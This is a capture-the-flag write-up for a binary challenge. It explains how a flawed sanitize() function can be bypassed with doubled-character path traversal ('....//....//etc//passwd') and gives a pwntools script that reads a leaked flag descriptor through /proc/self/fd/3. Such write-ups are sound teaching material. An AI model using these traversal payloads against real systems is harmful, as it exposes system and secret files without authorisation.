Flash CTF – Galactic Archives

In this binary exploitation challenge, we’re given access to a set of records spanning the entire galaxy, but to satiate our curiosity, we need to access more…

Solution

We start out with the file archive. Running the file command shows us that the binary is x64 and not stripped:

┌──(kali㉿kali)-[~/Desktop/testing-grounds/binex_GalacticArchives]
└─$ file archive
archive2: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=4ff166cd0c81474efbd8bee2ec370f7097215cb3, for GNU/Linux 3.2.0, not stripped

Running checksec shows that a number of protections are enabled:

┌──(kali㉿kali)-[~/Desktop/testing-grounds/binex_GalacticArchives]
└─$ checksec --file=archive
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   60 Symbols        No    0               6               archive

Finally, running the binary or connecting to the remote server gives us some cool art and a list of records to choose from for viewing.

Decompilation

After loading the binary into Ghidra, we can head right to main(). The first snippet of code shows the program searching under the current directory for a file whose name starts with “flag” then reading its contents into a file descriptor:

...
  local_10 = opendir("./");
  if (local_10 != (DIR *)0x0) {
    do {
      local_18 = readdir(local_10);
      if (local_18 == (dirent *)0x0) goto LAB_00101670;
      iVar1 = strncmp(local_18->d_name,"flag",4);
    } while (iVar1 != 0);
    snprintf((char *)&local_238,0x100,"./%s",local_18->d_name);
LAB_00101670:
    closedir(local_10);
  }
  if (((char)local_238 != '\0') && (local_1c = open((char *)&local_238,0), local_1c != -1)) {
    read(local_1c,local_338,0x100);
  }
...

Oddly enough, the file descriptor referred to by local_1c never gets closed. Perhaps we can do something with that later…

Moving past the CLI menu, we see that the program gathers the list of available records from the records directory and prompts us for the name of the record that we wish to see. Our input is stored in local_138, which is then passed as an argument to read_chart().

Looking at read_chart(), we see that our input gets sent to a sanitization function called sanitize(). Following sanitization, the result is appended to the end of the path ./records/, which ideally forms a path to a record. The contents of the resulting file are then read:

Bad Sanitizing

Looking at the decompiled output of sanitize(), things are a little garbled, but after cleaning up the code, we get something that looks like this:

void sanitize(char *param_1) {
    int j;
    int i;
    
    for (i = 0; param_1[i] != '\0'; i = i + 1) {
      if ((param_1[i] == '.') || (param_1[i] == '/')) {
        for (j = i; param_1[j] != '\0'; j = j + 1) {
          param_1[j] = param_1[(long)j + 1];
        }
      }
    }
    return;
  }

From here, we can see that our input gets sanitized by removing . and / characters. This is done in an attempt to prevent a path traversal attack, where we could change our user input to point to a file outside the records directory and get the program to read its contents. The phrase “in an attempt” is key here because after a banned character is found, the function skips over the next character, which allows us to effectively bypass the sanitization by specifying the . and / characters multiple times. For example, we’d turn a payload like ../../etc/passwd into ....//....//etc//passwd.

Unfortunately, we can infer from main() that while the flag file contains the word “flag” in it, we don’t know the full name, so we’re going to need to figure out a different way to get the flag.

Exploitation

Remember how the contents of the flag file were read into a file descriptor near the beginning of main()? That file descriptor is stored as a file in memory, and with our newfound exploit, we could attempt to read its contents, thereby revealing the flag. Doing this requires some background knowledge on the Linux operating system:

  • Information about the kernel, including running processes, is stored in the /proc directory
  • The /proc/self directory is a link to the current running process, which allows a process to access information about itself without knowing the PID
  • The fd directory within a process’s directory links to the files opened by a process
    • The file descriptors 01, and 2 correspond to the three “standard streams”, stdinstdout, and stderr, respectively

With this knowledge, we can infer that the contents of the flag file will be stored at /proc/self/fd/3 given that it’s the first file opened. After altering the payload to bypass the sanitization function, We can write a script like the one below to send it to the server:

from pwn import *

p = remote('localhost', 1337)

p.recvuntil(b'):')
p.sendline(b'....//....//proc//self//fd//3')

log.success(p.recvline(timeout=5).decode())

p.close()

As expected, we get the flag:

MetaCTF{r3c0rd1ng_th3_s4nitiz4ti0n_i55u3s}